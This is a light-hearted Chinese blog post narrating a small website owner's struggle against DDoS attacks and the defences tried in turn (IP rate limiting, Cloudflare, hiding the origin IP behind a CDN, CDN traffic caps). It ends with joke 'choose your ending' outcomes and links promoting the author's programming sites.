今天是一个值得纪念的日子,你打开一罐可乐,看着自己刚刚上线的小网站,洋洋得意。 这是你第一次做的网站,上线之后,网站访问量突飞猛进;没过多久,你就拿到了千万的风投,迎娶了女神,走上了人生巅峰。。。 害,原来是喝醉了啊。。。你发现刚才那一切竟然都是你的幻想! 这时你突然收到了一封邮件: <p align="center"><img src="https://pic.code-nav.cn/migrate_image/ff57edb20fb2fd154d9d82bccdd39d91.webp" alt="" width="100%" /></p> 你:??? <p align="center"><img src="https://pic.code-nav.cn/migrate_image/a16b46450fdcaba3d93903c341748e44.webp" alt="" width="206px" /></p> 虽然你之前就听说过 DDoS 攻击,但没想到这么快就发生在了自己的头上。 DDoS(分布式拒绝服务)攻击是一种通过制造大量恶意流量打向目标服务器,导致其资源耗尽、服务中断或无法正常响应用户请求的网络攻击方式。 曾经你以为,DDoS 没什么可怕的,大不了攻击时网站不提供服务,攻击结束后再重启服务不就好了? 但现实给了你一巴掌,没想到云服务器平台直接把你的服务器 **封禁了 12 小时** !你脊背有些发凉了:攻击者只需攻击几十秒,竟然就能让你的服务器老老实实瘫痪半天。 你不甘心,决定运用你学过的专业知识进行反击。 <p align="center"><img src="https://pic.code-nav.cn/migrate_image/25f7fc632b6d2f36fae80514fb950cd2.webp" alt="" width="318px" /></p> 你给服务器程序增加了一个请求 IP 黑白名单,并且能够对每个 IP 的请求频率进行统计,只要发现单个 IP 请求过快过多,系统就会自动把该 IP 拉黑,就不用处理该 IP 的请求了。 <p align="center"><img src="https://pic.code-nav.cn/migrate_image/26c0f4611fa7db2d6f7f9e5fe7c3381f.webp" alt="" width="100%" /></p> 你信心满满,又开始了对未来的幻想。。 结果没多久,你又收到了同样的邮件,你的服务器 IP 又被封堵了!而且这次 **封禁了 24 小时** ! <p align="center"><img src="https://pic.code-nav.cn/migrate_image/c6e64ea0052b5efb372f2ab5ec905a5c.webp" alt="" width="100%" /></p> 坏了,你意识到自己犯了一个错误。DDoS 攻击根本不需要向你的应用程序发送恶意请求,而是可以通过直接发送大量的网络流量(比如 UDP 包、ICMP 请求等)到服务器,从而消耗服务器的带宽和资源。也就是说,攻击的目标是直接影响服务器的网络层和传输层,不需要经过应用层。 那一瞬间,你发如雨下,突然意识到,自己的后端技术学得再好,有什么用?DDoS 来了,自己还是没办法解决。 不过你不甘心,天将降大任于斯人也,必先苦其心志劳其筋骨,伤其服务器。。。你继续搜索防御方案,发现 Cloudflare 提供了免费的、号称不限量的 DDoS 防护服务!于是你满怀希望地将它接入网站。 之后,有些用户访问网站时,就会看到这朵小黄云,减少了机器请求攻击: <p align="center"><img src="https://pic.code-nav.cn/migrate_image/c5b3d70905622403d82ebc6b38829406.png" alt="" width="100%" /></p> 这下,你长呼了一口气,让攻击者和 Cloudflare 斗智斗勇吧~ <p align="center"><img src="https://pic.code-nav.cn/migrate_image/f58c6fed804ae8498406d09e235e7b4f.webp" alt="" width="248px" /></p> 可没想到,接下来的几天,不断有用户反映:猪站长啊,你这网站打开速度也太慢了! 原来免费版本的 Cloudflare 在国内的节点数量有限,要从国外节点加载网站文件,导致国内用户访问速度变慢了。 于是你在网上查了一些攻略,发现有一些开源仓库确实可以找到国内优选的加速节点,但对网络运营商还是有一定限制,而且谁知道这些节点又能撑多久呢? <p align="center"><img src="https://pic.code-nav.cn/migrate_image/0ebecd8f063d32a5755c23dd0536d0a3.webp" alt="" width="100%" /></p> 正当你犹豫不决时,你又又又又又收到了服务器封堵的邮件! 你一脸懵逼:不是已经接入 CloudFlare 防护了么? 等等,攻击者已经知道了服务器本身的 IP 地址,完全可以绕过 CloudFlare,直接攻击到服务器啊! 这就好比你造了一面墙,但攻击者直接绕过去: <p align="center"><img src="https://pic.code-nav.cn/migrate_image/e052fa293cc3ea72d7d18b91efa18162.webp" alt="" width="100%" /></p> 你有些头痛了,干脆一不做二不休,花点儿钱上更好的防护服务?于是你上网搜了一下大公司专业的高防服务器,发现价格竟然在几万 ~ 几十万不等! <p align="center"><img src="https://pic.code-nav.cn/migrate_image/0dc06ff51a7ec9655bc424cde5c2c46b.webp" alt="" width="100%" /></p> 你看了看自己 “薄如蝉翼” 的钱包,瞬间放弃了这个念头。 你开始怀疑是不是自己选错了方向,或者该做的也许并不是去拼防护,而是去做点儿别的事情? 首先,你想到了切换一个平台作为源站,只要保证服务器不会因为攻击而导致长时间封禁,这样即使被攻击了也能快速恢复。但是换到哪个平台呢?这时你想到了你的好朋友鱼皮,他曾经也用了一些平台,比如 Vercel。但你听说,他当时在 Vercel 上的网站因为被攻击得太严重,直接被平台封禁了账号,属实是老倒霉蛋了。 通过调研,你发现可以使用云托管之类的容器部署平台,可以将应用程序部署到多个不同的节点上,被封禁的概率小了很多。 但治根不治本,你想了想,只要保护好自己的源站服务器 IP 地址不被泄露,是不是就可以了呢? 于是,你更换了个新的服务器 IP。这次,不直接将网站域名解析到服务器 IP,而是接入了一个大厂的 CDN 服务,将域名解析到 CDN 服务,再让 CDN 服务从你的服务器获取网站文件。这样一来,攻击者无法直接得到服务器的 IP 地址,只能看到 CDN 节点的 IP。 <p align="center"><img src="https://pic.code-nav.cn/migrate_image/1ce8017c15db580c1eea7f26dabcec40.webp" alt="" width="100%" /></p> CDN 一般是按照流量计费的,不出意外的话,价格比高防可低了太多。 那如果,出意外了呢? 没过几天,你发现自己的云服务账户欠费了! <p align="center"> <img src="https://pic.code-nav.cn/migrate_image/297279f9ce7b6f1708f4e2690998adb8.webp" alt="=" width="100%" /></p> 原来,攻击者疯狂请求你的 CDN 盗刷流量,产生了高额的流量费用。 第一次使用 CDN 的你,根本没有料到这点。后来,鱼皮给你推荐了他写过的一篇文章 [《我被刷几万元的血泪经验。。。》](https://mp.weixin.qq.com/s/-cCGb7E14ZrhZ0Ag44hnug?token=70787607&lang=zh_CN) ,看完后你才意识到:乱用 CDN,钱包两行泪啊! 这次,你给 CDN 配置了单 IP 访问频率限制、最大消耗流量的限制和自动告警,比如 5 分钟内流量超过 5 G 时,就自动停止 CDN 服务。 <p align="center"><img src="https://pic.code-nav.cn/migrate_image/00c81d1df167971769ddb0b1fbdff229.webp" alt="" width="100%" /></p> 这样一通操作之后,你又恢复了些信心。但没想到,接下来等待你的,是一场无休止的攻击循环。 攻击者攻击了你的 CDN => 触发 CDN 的用量封顶防护,自动关闭服务 => 你重新打开 CDN 服务、并且通过 CDN 配置拉黑了之前攻击者的 IP => 攻击者又使用新的 IP 攻击 CDN。。。 <p align="center"><img src="https://pic.code-nav.cn/migrate_image/0d05f801433123a7f1cd0aaaa9df8a67.webp" alt="" width="196px" /></p> ## 你的选择 你的故事还没有结束,接下来,你会怎么做呢? - A. 怒砸巨款,买一年的 DDoS 安全防护 - B. 关闭网站,不做了 - C. 找专业人士求助 - D. 找警察叔叔求助 - E. 想办法拉赞助 ## 你的结局 **A. 怒砸巨款,买一年的 DDoS 安全防护** 你决定不再 “省小钱,吃大亏”,干脆砸几万块钱,买一个更加专业的防护服务。你的网站终于在大流量攻击下依然稳定运行,用户也稳定增长,但一年后,你的网站只盈利了不到 1 万,血亏! **B. 关闭网站,不做了** 看到 DDoS 攻击一波又一波地袭来,你虽然无数次尝试过调整策略,但身心俱疲,最后你决定放弃,关掉这个网站。 虽然稍有不甘,但你意识到,想一个人做好、运营好网站真的太不容易,你也更加理解鱼皮曾经的感受,选择加入鱼皮,帮他一起开发 [编程导航](https://www.codefather.cn/) 。 **C. 找专业人士求助** 你意识到自己的网络安全知识是缺斤少两的,于是决定请一位专家来帮你做 DDOS 防护。专家跟你说了很多的专业名词和理论,什么零信任架构、IDS、IPS、态势感知、流量清洗、蜜罐之类的,但最终并没有给你实质性的帮助,因为你也没有足够的资金去实现那些理论。 **D. 找警察叔叔求助** 你认为攻击者已经触犯了法律,于是决定报警。但没想到,由于你并没有受到巨大的金额损失,警方表示对此案件的关注度较低。而且 DDoS 攻击通常是由大量分布在全球各地的受害主机发起的,很难被追踪和定位。 你很难过,但也意识到了,这才是现实。 **E. 想办法拉赞助** 既然解决不了 DDoS 问题,何不去找找投资者或合作伙伴,拉个 “大力支持” 的赞助?说不定他们会为你提供免费的 DDOS 防护服务呢! 于是,你将网站开源,持续写文章介绍自己的网站。最终被一位年轻的富二代看上,他不仅没有给你提供赞助,还直接让公司的程序员搬走了你的开源代码,自己上线了个网站。 从此,网络上总会看到一个郁郁寡欢的年轻人,嘴里念念有词:“我抄你们码!” --- 当然,还有更多的选择和结局,留给评论区的人才们讨论吧~ 如果你喜欢这篇文章的话,记得点赞支持哦! ## 更多 💻 编程学习交流:[编程导航](https://www.codefather.cn/) 📃 简历快速制作:[老鱼简历](https://laoyujianli.com) ✏️ 面试刷题神器:[面试鸭](https://mianshiya.com)
